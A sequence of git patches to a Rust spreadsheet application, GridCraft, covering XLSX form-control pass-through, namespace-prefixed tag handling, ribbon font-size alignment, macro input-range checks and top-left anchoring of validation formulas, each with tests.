assert_eq!((sh.controls[0].kind, sh.controls[0].value, sh.controls[0].name.as_str()), (ControlKind::Slider, 40, "Scroll 1")); + let kept = sh.preserved.as_ref().and_then(|k| k.elements.iter().find(|e| e.slot == "controls")).map(|e| e.xml.clone()); + assert_eq!(kept, None, "nothing of the modelled control is kept for pass-through"); + // The saved file holds the control once, with its one VML shape, and reads back once. + let out = write_xlsx(&wb).unwrap(); + let mut pkg = Package::open(&out).unwrap(); + let sheet = text(&mut pkg, "xl/worksheets/sheet1.xml"); + // One element with one control (each control is written as a Choice with a + // Fallback inside the element's own AlternateContent), and no kept copy. + assert_eq!(sheet.matches("").count(), 1, "{sheet}"); + assert!(!sheet.contains("shapeId='1025'"), "the kept copy would point at a shape that is gone: {sheet}"); + assert_eq!(text(&mut pkg, "xl/drawings/vmlDrawing1.vml").matches("
Go
1, 0, 6, 0, 3, 0, 7, 0[0]!Tidy From 5cbc168441baf817fdf9375fbc111c1f177ad79f Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 05:39:45 -0500 Subject: [PATCH 054/167] XLSX: a kept control beside a modelled one in the same AlternateContent stays with pass-through without_controls dropped a whole child of a kept element as soon as one control in it was modelled, so an mc:AlternateContent holding a scroll bar (modelled) and a list box (left to pass-through) lost the list box's worksheet entry on save, while its VML shape and properties part stayed. The controls are now taken out one by one, in the Choice and the Fallback branches alike, by the shapeId the control reader reads (an attribute, in either quote style); the wrapper stays while a control remains and goes only when it is empty, and a child with none of ours is kept unchanged. strip_shapes already works per shape, so the kept control's shape stays, and its properties part follows its relationship as before. Test: an_unsupported_control_beside_a_modelled_one_in_one_alternate_content_is_kept (after open and save the scroll bar is written once, the list box is still in in both branches with its VML shape and its properties part, and the file reads back with one modelled control and the kept one). --- crates/xlsx/src/controls.rs | 2 +- crates/xlsx/src/passthrough/read.rs | 69 +++++++++++++++++++------ crates/xlsx/src/tests/controls_tests.rs | 62 ++++++++++++++++++++++ 3 files changed, 117 insertions(+), 16 deletions(-) diff --git a/crates/xlsx/src/controls.rs b/crates/xlsx/src/controls.rs index da22eb127..6f56894cd 100644 --- a/crates/xlsx/src/controls.rs +++ b/crates/xlsx/src/controls.rs @@ -359,7 +359,7 @@ fn build(p: Props, kind: ControlKind, anchor: Anchor, name: Option<&str>, id: u3 /// The `` elements one child of a `` element holds: the child itself, or those /// inside its `mc:AlternateContent` (the Choice, else the Fallback). -pub(crate) fn controls_of_child(k: &El) -> Vec<&El> { +fn controls_of_child(k: &El) -> Vec<&El> { match k.name.as_str() { "control" => vec![k], "AlternateContent" => k diff --git a/crates/xlsx/src/passthrough/read.rs b/crates/xlsx/src/passthrough/read.rs index 4fc55b9c6..4e2264e6a 100644 --- a/crates/xlsx/src/passthrough/read.rs +++ b/crates/xlsx/src/passthrough/read.rs @@ -680,21 +680,14 @@ fn attr_value<'a>(x: &'a str, name: &str) -> Option<&'a str> { } /// A kept `` fragment without the controls whose `shapeId` is in `drop` (they are -/// written from the model). `None` when no control is left. A fragment that doesn't parse is -/// returned unchanged. +/// written from the model): a bare `` child goes when it is one of them, and within an +/// `mc:AlternateContent` child only those controls go, in each of its branches, the wrapper +/// staying while a control remains. `None` when nothing is left. A fragment that doesn't parse +/// is returned unchanged. fn without_controls(frag: &str, drop: &HashSet) -> Option { if drop.is_empty() { return Some(frag.to_string()); } - // A kept child names its shapes the way the control reader reads them (`shapeId` in either - // quote style, through mc:AlternateContent), so what the reader modelled is what is dropped. - let numbered = |x: &str| { - crate::xml::parse(x.as_bytes()).is_ok_and(|e| { - crate::controls::controls_of_child(&e) - .iter() - .any(|c| c.attr("shapeId").and_then(crate::controls::shape_number).is_some_and(|n| drop.contains(&n))) - }) - }; let mut reader = Reader::from_str(frag); let mut out = String::with_capacity(frag.len()); let (mut last, mut left, mut inside) = (0usize, 0usize, false); @@ -727,17 +720,63 @@ fn without_controls(frag: &str, drop: &HashSet) -> Option { continue; } let Ok(end) = usize::try_from(reader.buffer_position()) else { return Some(frag.to_string()) }; - if numbered(frag.get(start..end).unwrap_or("")) { - out.push_str(frag.get(last..start).unwrap_or("")); - last = end; - } else { + let text = frag.get(start..end).unwrap_or(""); + let Some((kept, controls, dropped)) = controls_kept(text, drop) else { return Some(frag.to_string()) }; + if dropped == 0 { + // Nothing of ours in it: the child stays as it is. left += 1; + } else { + out.push_str(frag.get(last..start).unwrap_or("")); + if controls > 0 { + out.push_str(&kept); + left += 1; + } + last = end; } } out.push_str(frag.get(last..).unwrap_or("")); (left > 0).then_some(out) } +/// One child of a `` element with the `` elements numbered in `drop` taken +/// out, wherever they are in it (a bare control, or the Choice and Fallback branches of an +/// `mc:AlternateContent`), as (the text, the controls that remain, the controls taken out). The +/// `shapeId` is read as the control reader reads it (an attribute, in either quote style). `None` +/// when the child doesn't parse. +fn controls_kept(child: &str, drop: &HashSet) -> Option<(String, usize, usize)> { + let mut reader = Reader::from_str(child); + let mut out = String::with_capacity(child.len()); + let (mut last, mut kept, mut dropped) = (0usize, 0usize, 0usize); + loop { + let start = usize::try_from(reader.buffer_position()).ok()?; + let (e, has_end) = match reader.read_event().ok()? { + Event::Eof => break, + Event::Start(e) => (e, true), + Event::Empty(e) => (e, false), + _ => continue, + }; + if e.local_name().as_ref() != b"control" { + // A wrapper or a branch: its controls are the events that follow. + continue; + } + let number = + e.try_get_attribute("shapeId").ok().flatten().and_then(|a| std::str::from_utf8(&a.value).ok().and_then(crate::controls::shape_number)); + if has_end { + reader.read_to_end(e.name()).ok()?; + } + let end = usize::try_from(reader.buffer_position()).ok()?; + if number.is_some_and(|n| drop.contains(&n)) { + out.push_str(child.get(last..start)?); + last = end; + dropped += 1; + } else { + kept += 1; + } + } + out.push_str(child.get(last..)?); + Some((out, kept, dropped)) +} + /// Rewrites relationship-id attributes (`r:id`, `r:embed`…: any attribute in the relationships /// namespace) of an XML fragment through `map`. `None` when the fragment is damaged or `map` has /// no id for one of them. diff --git a/crates/xlsx/src/tests/controls_tests.rs b/crates/xlsx/src/tests/controls_tests.rs index 323ca14f3..46b81428c 100644 --- a/crates/xlsx/src/tests/controls_tests.rs +++ b/crates/xlsx/src/tests/controls_tests.rs @@ -217,6 +217,68 @@ fn a_single_quoted_shape_id_is_dropped_from_the_kept_controls_too() { assert_eq!(back.sheet(0).unwrap().controls.len(), 1); } +/// One `mc:AlternateContent` holds a scroll bar, which is modelled, and a list box, which stays +/// with pass-through: only the scroll bar leaves the kept fragment, the list box keeps its +/// worksheet entry, its VML shape and its properties part through a save, and the file reads +/// back with the one modelled control and the kept one. +#[test] +fn an_unsupported_control_beside_a_modelled_one_in_one_alternate_content_is_kept() { + let rels = r#""#; + let prop_a = r#""#; + let prop_b = r#""#; + let vml = r##"2, 0, 3, 0, 5, 0, 4, 0$B$14001001102, 0, 6, 0, 5, 0, 9, 0$D$1:$D$32"##; + let anchor = |from: u32, to: u32| { + format!( + r#"20{from}050{to}0"# + ) + }; + let controls = format!( + r#"{}{}"#, + anchor(3, 4), + anchor(6, 9) + ); + let bytes = minimal( + &format!(r#"{controls}"#), + &[ + ("xl/worksheets/_rels/sheet1.xml.rels", rels), + ("xl/ctrlProps/a.xml", prop_a), + ("xl/ctrlProps/b.xml", prop_b), + ("xl/drawings/vmlDrawing1.vml", vml), + ], + "", + "", + ); + let (wb, _) = read_xlsx(&bytes).unwrap(); + let sh = wb.sheet(0).unwrap(); + assert_eq!(sh.controls.len(), 1, "the scroll bar is modelled, the list box is not"); + assert_eq!((sh.controls[0].kind, sh.controls[0].name.as_str()), (ControlKind::Slider, "Scroll 1")); + let kept = sh.preserved.as_ref().and_then(|k| k.elements.iter().find(|e| e.slot == "controls")).map(|e| e.xml.clone()).unwrap_or_default(); + assert!(kept.contains("List 1") && kept.contains(""), "the list box stays, in its wrapper: {kept}"); + assert!(!kept.contains("Scroll 1") && !kept.contains("shapeId=\"1025\""), "the scroll bar leaves every branch: {kept}"); + // Saved: the scroll bar once (one Fallback of ours), the list box in the kept wrapper with its + // shape and its properties part. + let out = write_xlsx(&wb).unwrap(); + let mut pkg = Package::open(&out).unwrap(); + let sheet = text(&mut pkg, "xl/worksheets/sheet1.xml"); + assert_eq!(sheet.matches(" = pkg.names().into_iter().filter(|n| n.starts_with("xl/ctrlprops/")).collect(); + assert_eq!(props.len(), 2, "ours and the kept one: {props:?}"); + assert!(props.iter().any(|n| text(&mut pkg, n).contains("objectType=\"List\"")), "the list box's properties part survives: {props:?}"); + // Read back: the one modelled control and the kept one. + let (back, _) = read_xlsx(&out).unwrap(); + let sh = back.sheet(0).unwrap(); + assert_eq!(sh.controls.len(), 1); + let kept = sh.preserved.as_ref().and_then(|k| k.elements.iter().find(|e| e.slot == "controls")).map(|e| e.xml.clone()).unwrap_or_default(); + assert!(kept.contains("List 1") && !kept.contains("Scroll 1"), "{kept}"); +} + /// Shapes with a named `id` and their number in `o:spid`, as some producers write them. const VML_SPID: &str = r##"
Go
1, 0, 6, 0, 3, 0, 7, 0[0]!Tidy From de254a0a6ecbb211c38041f72b9f5b331d589081 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ken=20K=C3=B6lzer?= Date: Mon, 2 Nov 2026 14:41:27 +0100 Subject: [PATCH 055/167] Ribbon: Font Size value is centered in its box (fixes #3155) The size box draws its value with a frameless TextEdit. The theme floors a text edit at interact_size.y (22 pt), and egui's text edit style aligns its text to the top of that, which wins over the child layout's Align::Center. The digits sat 3.5 pt above the middle of the 24 pt box, 4 pt above the Font name's baseline. The text edit now aligns its text LEFT_CENTER. The new test checks that the value is centered in its box and on the Font name label's baseline. It fails without the change. Co-Authored-By: Claude Sonnet 5.5 --- crates/ui-egui/src/ribbon/home.rs | 3 +++ crates/ui-egui/tests/it/font_size_box.rs | 33 ++++++++++++++++++++++-- 2 files changed, 34 insertions(+), 2 deletions(-) diff --git a/crates/ui-egui/src/ribbon/home.rs b/crates/ui-egui/src/ribbon/home.rs index c46447092..7dd55f706 100644 --- a/crates/ui-egui/src/ribbon/home.rs +++ b/crates/ui-egui/src/ribbon/home.rs @@ -622,10 +622,13 @@ fn size_combo(app: &mut SheetApp, ui: &mut Ui, st: &Style) { let arrow_rect = Rect::from_min_max(egui::pos2(frame.right() - 16.0, frame.top() + 1.0), egui::pos2(frame.right() - 1.0, frame.bottom() - 1.0)); let mut field_ui = ui.new_child(egui::UiBuilder::new().max_rect(text_rect.shrink2(vec2(6.0, 0.0))).layout(egui::Layout::left_to_right(egui::Align::Center))); + // The text edit is `interact_size.y` tall and puts its text at the top of that unless told + // otherwise: center it, on the Font name's baseline (#3155). let out = egui::TextEdit::singleline(&mut text) .id(field) .font(theme::ui_font(12.5)) .frame(egui::Frame::NONE) + .align(egui::Align2::LEFT_CENTER) .desired_width(text_rect.width() - 12.0) .show(&mut field_ui); let resp = out.response; diff --git a/crates/ui-egui/tests/it/font_size_box.rs b/crates/ui-egui/tests/it/font_size_box.rs index b34b195ff..f159513c8 100644 --- a/crates/ui-egui/tests/it/font_size_box.rs +++ b/crates/ui-egui/tests/it/font_size_box.rs @@ -1,6 +1,7 @@ -//! Home ▸ Font Size is a box you type a size into, with the standard sizes behind its arrow (#932). +//! Home ▸ Font Size is a box you type a size into, with the standard sizes behind its arrow (#932), +//! and the size sits in the middle of that box (#3155). -use egui::{Event, Key, Modifiers, accesskit::Role}; +use egui::{Event, Key, Modifiers, Rect, Shape, accesskit::Role}; use egui_kittest::kittest::Queryable as _; use gridcraft_engine::Session; use gridcraft_engine::core::{CellRef, Value}; @@ -124,3 +125,31 @@ fn the_arrow_opens_the_plain_list_of_sizes() { h.run_steps(3); assert_eq!(size(&h, "A1"), 12.0, "Down from 11 then Enter picks 12"); } + +/// The on-screen box of the painted text `text` that overlaps `within`. The grid's row headers +/// paint "11" too, so the size has to be looked for inside its own box. +fn painted_text(h: &Harness, text: &str, within: Rect) -> Rect { + h.output() + .shapes + .iter() + .find_map(|s| match &s.shape { + Shape::Text(t) if t.galley.job.text == text => { + let rect = t.galley.rect.translate(t.pos.to_vec2()); + within.intersects(rect).then_some(rect) + } + _ => None, + }) + .unwrap_or_else(|| panic!("{text:?} is painted inside {within:?}")) +} + +#[test] +/// A text edit aligns its text to the top of its rect unless told otherwise, which left the size +/// 4 pt above the Font name's baseline. +fn the_size_is_vertically_centered_in_its_box() { + let h = harness(); + let field = h.get_by_role_and_label(Role::TextInput, "Font Size").rect(); + let value = painted_text(&h, "11", field); + let name = painted_text(&h, "Calibri", Rect::EVERYTHING); + assert!((value.center().y - field.center().y).abs() <= 1.0, "the size is centered in its box: {value:?} in {field:?}"); + assert!((value.center().y - name.center().y).abs() <= 1.0, "the size is on the Font name's baseline: {value:?} against {name:?}"); +} From f18ec0407fa1715812281a3c696f44815492463c Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 12:06:25 -0500 Subject: [PATCH 056/167] Form controls: a fixed input range is refused for a macro that takes no inputs A button could be given a fixed input range for any macro name; pressing it then passed the range to macro.run as `inputs`, which check_params refuses for a macro without inputs ("it takes no inputs"), so such a button failed on every press. Now insert.button and control.assign refuse a fixed input when the named macro exists and declares no inputs, naming the macro; a macro the workbook does not have yet is not checked, and the assignment is kept as given. On open, a stored fixed input for a macro without inputs becomes the selection: the file itself assigns the macro on the selection, and the stored range would fail every press. Tests: a_fixed_input_for_a_macro_without_inputs_is_refused_when_assigned (insert and assign are refused with the reason in any letter case; a macro with an input and a macro not yet defined take the range; a stored fixed input comes back as the selection). format_and_assign and a_kept_button_action_comes_back_only_on_the_same_button give their macro an input. --- crates/engine/src/cmd/controls.rs | 22 ++++++++++++++++- crates/engine/src/tests/controls.rs | 38 +++++++++++++++++++++++++++-- 2 files changed, 57 insertions(+), 3 deletions(-) diff --git a/crates/engine/src/cmd/controls.rs b/crates/engine/src/cmd/controls.rs index a7c0afbf8..5acfb75b6 100644 --- a/crates/engine/src/cmd/controls.rs +++ b/crates/engine/src/cmd/controls.rs @@ -404,6 +404,14 @@ pub(crate) fn take_requests(s: &mut Session, queued: usize, name: &str) -> Optio blocked } +/// The stored name of the workbook's macro `name` when it exists and declares no inputs: a fixed +/// input range would make every press fail (`macro.run` refuses inputs it doesn't take), so such +/// an assignment is refused when it is made and dropped to the selection when a file brings one +/// in. A macro the workbook doesn't have (yet) is not checked: the assignment is kept as given. +fn takes_no_inputs(wb: &Workbook, name: &str) -> Option { + crate::macros::find(wb, name).and_then(|i| wb.macros.get(i)).filter(|m| m.inputs.is_empty()).map(|m| m.name.clone()) +} + /// A button action from `macro` (with `input` and `output`) or `command` (with `params`). fn action_param(s: &Session, cmd: &str, p: &Json) -> Result> { if let Some(name) = str_param(p, "macro").map(str::trim).filter(|n| !n.is_empty()) { @@ -418,6 +426,9 @@ fn action_param(s: &Session, cmd: &str, p: &Json) -> Result Result> { /// button's name and anchor cell, the button at the stored place must have that name and anchor /// cell (another application may have added, removed or reordered controls), and it must not /// have been given another macro since (a stored macro action comes back only on a button that -/// still runs that macro, a stored command only on one the file gives no macro). +/// still runs that macro, a stored command only on one the file gives no macro). A stored fixed +/// input for a macro that takes no inputs becomes the selection (see [`takes_no_inputs`]). pub(crate) fn load_action_names(wb: &mut Workbook) { let Some(items) = stash::get_json(wb, ACTIONS_KEY) else { return }; stash::remove(wb, ACTIONS_KEY); @@ -681,6 +693,14 @@ pub(crate) fn load_action_names(wb: &mut Workbook) { if !valid || !wb.sheet(si).is_some_and(|sh| sh.controls.get(index).is_some_and(same)) { continue; } + let action = match action { + // The macro takes no inputs now: the stored range would fail every press, so the + // button runs the macro on the selection, as the file itself assigns it. + ControlAction::Macro { name, input: MacroInput::Fixed(_), output } if takes_no_inputs(wb, &name).is_some() => { + ControlAction::Macro { name, input: MacroInput::Selection, output } + } + other => other, + }; if let Some(c) = wb.sheet_mut(si).and_then(|sh| sh.controls.get_mut(index)) { c.action = Some(action); } diff --git a/crates/engine/src/tests/controls.rs b/crates/engine/src/tests/controls.rs index 27c0a685a..2bcf5d671 100644 --- a/crates/engine/src/tests/controls.rs +++ b/crates/engine/src/tests/controls.rs @@ -148,7 +148,8 @@ fn format_and_assign() { s.execute("control.format", json!({"id": c, "value": 25})).unwrap(); assert_eq!(v(&s, "B1"), Value::Number(50.0), "without a link nothing is written"); // Buttons: text and action. - s.execute("macro.save", json!({"name": "Fill", "steps": [{"command": "cell.set", "params": {"cell": "A1", "input": "x"}}]})).unwrap(); + // A fixed input needs a macro that takes one. + s.execute("macro.save", json!({"name": "Fill", "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "x"}}], "inputs": [{"name": "Input", "kind": "range"}]})).unwrap(); let b = id(&s.execute("insert.button", json!({"text": "Go", "macro": "Fill", "input": "C2:D4", "output": "F2"})).unwrap()); let action = control(&s, b).action; assert_eq!(action, Some(ControlAction::Macro { name: "Fill".into(), input: MacroInput::Fixed("C2:D4".into()), output: Some("F2".into()) })); @@ -380,7 +381,7 @@ fn reopen(s: &mut Session) { fn a_kept_button_action_comes_back_only_on_the_same_button() { use crate::cmd::controls::{load_action_names, with_action_names}; let mut s = s(); - s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "A1", "input": "m"}}]})).unwrap(); + s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "m"}}], "inputs": [{"name": "Input", "kind": "range"}]})).unwrap(); s.execute("insert.button", json!({"at": "D2", "text": "Run", "command": "cell.set", "params": {"cell": "A9", "input": "cmd"}})).unwrap(); s.execute("insert.button", json!({"at": "D6", "text": "Other"})).unwrap(); s.execute("insert.button", json!({"at": "D9", "text": "Fixed", "macro": "Mark", "input": "F1:G2"})).unwrap(); @@ -467,6 +468,39 @@ fn a_kept_action_without_the_buttons_name_or_anchor_is_dropped() { assert!(matches!(kept(&items), Some(ControlAction::Command { .. })), "the writer's own entry still comes back"); } +/// A fixed input range for a macro that declares no inputs would fail every press (`macro.run` +/// refuses inputs the macro doesn't take), so the assignment is refused when it is made, naming +/// the macro; a macro the workbook doesn't have yet is not checked, and a macro with an input +/// takes the range. A file that brings such a stored input in gets the macro on the selection. +#[test] +fn a_fixed_input_for_a_macro_without_inputs_is_refused_when_assigned() { + use crate::cmd::controls::{load_action_names, with_action_names}; + let mut s = s(); + s.execute("macro.save", json!({"name": "Fill", "steps": [{"command": "cell.set", "params": {"cell": "A1", "input": "x"}}]})).unwrap(); + s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "m"}}], "inputs": [{"name": "Input", "kind": "range"}]})).unwrap(); + let want = "macro 'Fill' takes no inputs"; + assert!(err(s.execute("insert.button", json!({"at": "B2", "macro": "Fill", "input": "C2:D4"}))).contains(want)); + assert_eq!(s.doc().unwrap().wb.sheet(0).unwrap().controls.len(), 0, "no button was placed"); + let b = id(&s.execute("insert.button", json!({"at": "B2", "macro": "Fill", "output": "F2"})).unwrap()); + let e = err(s.execute("control.assign", json!({"id": b, "macro": "fill", "input": "C2:D4"}))); + assert!(e.contains(want), "any letter case: {e}"); + assert_eq!(control(&s, b).action, Some(ControlAction::Macro { name: "Fill".into(), input: MacroInput::Selection, output: Some("F2".into()) })); + s.execute("control.assign", json!({"id": b, "macro": "Mark", "input": "C2:D4"})).unwrap(); + s.execute("control.assign", json!({"id": b, "macro": "Later", "input": "C2:D4"})).unwrap(); + assert_eq!(control(&s, b).action, Some(ControlAction::Macro { name: "Later".into(), input: MacroInput::Fixed("C2:D4".into()), output: None })); + // A file's stored fixed input for Fill (another version assigned it) comes back as the selection. + s.execute("control.assign", json!({"id": b, "macro": "Fill", "output": "F2"})).unwrap(); + let mut wb = (*s.doc().unwrap().wb).clone(); + wb.sheet_mut(0).unwrap().controls[0].action = + Some(ControlAction::Macro { name: "Fill".into(), input: MacroInput::Fixed("C2:D4".into()), output: Some("F2".into()) }); + let mut stored = with_action_names(&wb).unwrap().unwrap(); + load_action_names(&mut stored); + assert_eq!( + stored.sheets[0].controls[0].action, + Some(ControlAction::Macro { name: "Fill".into(), input: MacroInput::Selection, output: Some("F2".into()) }) + ); +} + /// The saved xlsx bytes of `s`'s workbook. fn saved_xlsx(s: &mut Session) -> Vec { let r = s.execute("file.saveBytes", json!({"format": "xlsx"})).unwrap(); From c1249e3ad102bedda6c2583e0e41323c2653fd37 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 12:06:25 -0500 Subject: [PATCH 057/167] XLSX: a modelled control joins a kept element whatever its namespace prefix The pass-through writer found the kept element's end by the literal ``, so a producer that prefixes the main namespace (``) got a second element for the modelled controls, which the worksheet schema does not allow. The close tag is now found by its local name with any prefix. No other literal tag search is left in rebase.rs; the ones in read.rs (VML ``, ``, `ObjectType="Note"`) rely on the fixed VML prefixes and are main's code. Test: a_modelled_control_joins_a_kept_controls_element_with_a_namespace_prefix (a kept `` with a list box and a modelled slider save as one controls element holding both, and the file reads back with the slider modelled and the list box kept). --- crates/xlsx/src/passthrough/rebase.rs | 12 +++++- crates/xlsx/src/tests/controls_tests.rs | 49 +++++++++++++++++++++++++ 2 files changed, 60 insertions(+), 1 deletion(-) diff --git a/crates/xlsx/src/passthrough/rebase.rs b/crates/xlsx/src/passthrough/rebase.rs index 1ca5d82e1..87fe715c3 100644 --- a/crates/xlsx/src/passthrough/rebase.rs +++ b/crates/xlsx/src/passthrough/rebase.rs @@ -69,7 +69,7 @@ impl<'a> SheetKept<'a> { if let Some(mut x) = remap(&e.xml, &self.ids) { if *slot == "controls" && !placed - && let Some(i) = x.rfind("") + && let Some(i) = last_close_tag(&x, "controls") { x.insert_str(i, controls); placed = true; @@ -87,6 +87,16 @@ impl<'a> SheetKept<'a> { } } +/// The byte offset of the last close tag of `local` in `x`, whatever namespace prefix the file +/// gives it (``, ``). +fn last_close_tag(x: &str, local: &str) -> Option { + x.rmatch_indices("')?)?.trim_end(); + (name.rsplit(':').next().unwrap_or(name) == local).then_some(i) + }) +} + // ---------------------------------------------------------------- linked workbooks /// `wb` as it is saved into the folder `to` (absolute): the relative paths of its linked diff --git a/crates/xlsx/src/tests/controls_tests.rs b/crates/xlsx/src/tests/controls_tests.rs index 46b81428c..252942296 100644 --- a/crates/xlsx/src/tests/controls_tests.rs +++ b/crates/xlsx/src/tests/controls_tests.rs @@ -279,6 +279,55 @@ fn an_unsupported_control_beside_a_modelled_one_in_one_alternate_content_is_kept assert!(kept.contains("List 1") && !kept.contains("Scroll 1"), "{kept}"); } +/// A producer that prefixes the main namespace (``): the kept element is still the +/// sheet's one `` element, so a modelled control is written into it rather than into a +/// second one, which the worksheet schema does not allow. +#[test] +fn a_modelled_control_joins_a_kept_controls_element_with_a_namespace_prefix() { + use gridcraft_model::{Anchor, ControlKind, FormControl}; + let rels = r#""#; + let prop_b = r#""#; + let vml = r##"2, 0, 6, 0, 5, 0, 9, 0$D$1:$D$32"##; + let controls = r#"20605090"#; + let bytes = minimal( + &format!(r#"{controls}"#), + &[("xl/worksheets/_rels/sheet1.xml.rels", rels), ("xl/ctrlProps/b.xml", prop_b), ("xl/drawings/vmlDrawing1.vml", vml)], + "", + "", + ); + let (mut wb, _) = read_xlsx(&bytes).unwrap(); + assert!(wb.sheet(0).unwrap().controls.is_empty(), "the list box stays with pass-through"); + let kept = wb + .sheet(0) + .unwrap() + .preserved + .as_ref() + .and_then(|k| k.elements.iter().find(|e| e.slot == "controls")) + .map(|e| e.xml.clone()) + .unwrap_or_default(); + assert!(kept.contains(""), "kept with its prefix: {kept}"); + let anchor = Anchor { cell: gridcraft_core::CellRef::new(2, 1), width: 120.0, height: 20.0, ..Default::default() }; + wb.sheet_mut(0).unwrap().controls.push(FormControl { + id: 900, + kind: ControlKind::Slider, + anchor, + link: Some("$B$1".into()), + value: 40, + ..Default::default() + }); + let out = write_xlsx(&wb).unwrap(); + let mut pkg = Package::open(&out).unwrap(); + let sheet = text(&mut pkg, "xl/worksheets/sheet1.xml"); + let opened = sheet.matches("").unwrap(); + let inner = &sheet[start..end]; + assert!(inner.contains("name=\"List 1\"") && inner.contains(""), "both controls inside the one element: {sheet}"); + let (back, _) = read_xlsx(&out).unwrap(); + assert_eq!(back.sheet(0).unwrap().controls.len(), 1, "the slider reads back; the list box stays kept"); +} + /// Shapes with a named `id` and their number in `o:spid`, as some producers write them. const VML_SPID: &str = r##"
Go
1, 0, 6, 0, 3, 0, 7, 0[0]!Tidy From adcb66697c422374e6da431cf4b9e16fa58013e0 Mon Sep 17 00:00:00 2001 From: ljkx <177671075+ljkx@users.noreply.github.com> Date: Mon, 2 Nov 2026 18:29:23 +0100 Subject: [PATCH 058/167] Data validation and conditional formats: anchor relative formulas on the top-left cell of all areas (#3152) Excel writes the relative formulas of a multi-area rule for the top-left cell of the whole sqref (lowest row, lowest column), whatever order the areas are listed in. GridCraft anchored them on the first area listed, so a validation on `H62:H68 H26:H27 H93:H95` with `MOD($H26,$F26)=0` checked row 26 - 36 at H26 and refused valid input. Add `RangeRef::top_left` and use it in validation checks, list sources, pasting a validation, conditional format lookups and the formulas the xlsx writer generates for text, blank and error rules. --- crates/core/src/addr.rs | 16 ++++++++++++++ crates/engine/src/cf.rs | 2 +- crates/engine/src/cmd/data/validation.rs | 6 +++--- crates/engine/src/cmd/edit/paste_special.rs | 2 +- crates/engine/src/tests.rs | 24 +++++++++++++++++++++ crates/xlsx/src/sheet_write/rules.rs | 2 +- crates/xlsx/src/tests/roundtrip.rs | 18 ++++++++++++++++ 7 files changed, 64 insertions(+), 6 deletions(-) diff --git a/crates/core/src/addr.rs b/crates/core/src/addr.rs index 9d10ea87c..c8ddf7460 100644 --- a/crates/core/src/addr.rs +++ b/crates/core/src/addr.rs @@ -188,6 +188,12 @@ impl RangeRef { end: CellRef::new(self.end.row.max(o.end.row), self.end.col.max(o.end.col)), } } + /// The top-left cell of a list of areas: the lowest row and the lowest column across all of + /// them, whatever order they are listed in. Excel writes the relative formulas of a + /// multi-area validation or conditional format for this cell. `None` for no areas. + pub fn top_left(ranges: &[RangeRef]) -> Option { + ranges.iter().copied().reduce(|a, b| a.union(&b)).map(|r| r.start) + } /// Row-major iterator over the cells. Callers must bound huge ranges themselves. pub fn iter(&self) -> impl Iterator + '_ { let (r0, r1, c0, c1) = (self.start.row, self.end.row, self.start.col, self.end.col); @@ -307,6 +313,16 @@ mod tests { Ok(()) } + #[test] + fn top_left_spans_every_area_in_any_order() { + let areas: Vec = ["H62:H68", "H26:H27", "H93:H95"].iter().filter_map(|a| RangeRef::parse(a)).collect(); + assert_eq!(RangeRef::top_left(&areas), CellRef::parse("H26")); + // Lowest row and lowest column, even when they come from different areas. + let areas: Vec = ["C5:D6", "E2", "B9"].iter().filter_map(|a| RangeRef::parse(a)).collect(); + assert_eq!(RangeRef::top_left(&areas), CellRef::parse("B2")); + assert_eq!(RangeRef::top_left(&[]), None); + } + #[test] fn sheet_quoting_follows_excel() { for quoted in [ diff --git a/crates/engine/src/cf.rs b/crates/engine/src/cf.rs index 4c9325e36..38f5bb1fe 100644 --- a/crates/engine/src/cf.rs +++ b/crates/engine/src/cf.rs @@ -244,7 +244,7 @@ impl CfCache { let v = sh.value(c); let no_stats = RuleStats::default(); for (idx, cf) in rules { - let first = cf.ranges.first().map(|r| r.start).unwrap_or(c); + let first = RangeRef::top_left(&cf.ranges).unwrap_or(c); let st: &RuleStats = match stats_need(&cf.rule) { Some(need) => &*self.stats.entry(idx).or_insert_with(|| RuleStats::build(sh, &cf.ranges, need)), None => &no_stats, diff --git a/crates/engine/src/cmd/data/validation.rs b/crates/engine/src/cmd/data/validation.rs index ce0d7e3b8..ff8a93d61 100644 --- a/crates/engine/src/cmd/data/validation.rs +++ b/crates/engine/src/cmd/data/validation.rs @@ -156,7 +156,7 @@ pub fn list_items(wb: &Workbook, sheet: usize, dv: &Validation) -> Vec { }; return items.split(',').map(|x| x.trim().to_string()).filter(|x| !x.is_empty()).collect(); } - let at = dv.ranges.first().map(|r| r.start).unwrap_or_default(); + let at = RangeRef::top_left(&dv.ranges).unwrap_or_default(); match gridcraft_calc::evaluate(wb, sheet, at, f) { Value::Array(a) => a.data.iter().filter(|v| !v.is_empty()).map(Value::display).collect(), v if !v.is_empty() && !v.is_error() => vec![v.display()], @@ -175,9 +175,9 @@ pub fn check_validation(wb: &Workbook, sheet: usize, at: CellRef, input: &str) - return None; } let v = gridcraft_core::parse::parse_input(input, wb.date_system).value; - // The formulas are written for the first cell of the range and see the value being entered, + // The formulas are written for the top-left cell of all the areas and see the value being entered, // as in Excel (a custom `=A1>10` on A1:A9 checks A5's new value at A5). - let first = dv.ranges.first().map(|r| r.start).unwrap_or(at); + let first = RangeRef::top_left(&dv.ranges).unwrap_or(at); let entered; let wb = if sh.value(at) == v { wb diff --git a/crates/engine/src/cmd/edit/paste_special.rs b/crates/engine/src/cmd/edit/paste_special.rs index c9e296ba5..9506b4abf 100644 --- a/crates/engine/src/cmd/edit/paste_special.rs +++ b/crates/engine/src/cmd/edit/paste_special.rs @@ -248,7 +248,7 @@ pub(super) fn paste_special(s: &mut Session, p: &Json) -> Result { crate::cmd::data::remove_validation_cells(&mut sh.validations, &[RangeRef::new(dest, dest)]); if let Some(mut dv) = rule { // Relative references move with the rule, as pasted formulas do. - let first = dv.ranges.first().map_or(sc, |r| r.start); + let first = RangeRef::top_left(&dv.ranges).unwrap_or(sc); dv.f1 = crate::cmd::data::move_rule_formula(&dv.f1, first, dest); dv.f2 = dv.f2.map(|f| crate::cmd::data::move_rule_formula(&f, first, dest)); dv.ranges = 